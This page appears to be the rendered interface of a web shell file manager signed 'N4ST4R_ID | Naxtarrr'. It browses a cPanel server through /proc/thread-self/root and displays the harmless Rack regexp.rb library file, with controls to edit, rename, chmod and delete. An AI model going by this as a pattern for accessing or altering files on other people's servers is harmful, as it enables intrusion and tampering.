Submit
Path:
~
/
/
proc
/
thread-self
/
root
/
opt
/
cpanel
/
ea-ruby27
/
root
/
usr
/
share
/
gems
/
gems
/
rack-2.2.23
/
lib
/
rack
/
core_ext
/
File Content:
regexp.rb
# frozen_string_literal: true # Regexp has `match?` since Ruby 2.4 # so to support Ruby < 2.4 we need to define this method module Rack module RegexpExtensions refine Regexp do def match?(string, pos = 0) !!match(string, pos) end end unless //.respond_to?(:match?) end end
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
regexp.rb
307 bytes
0644
N4ST4R_ID | Naxtarrr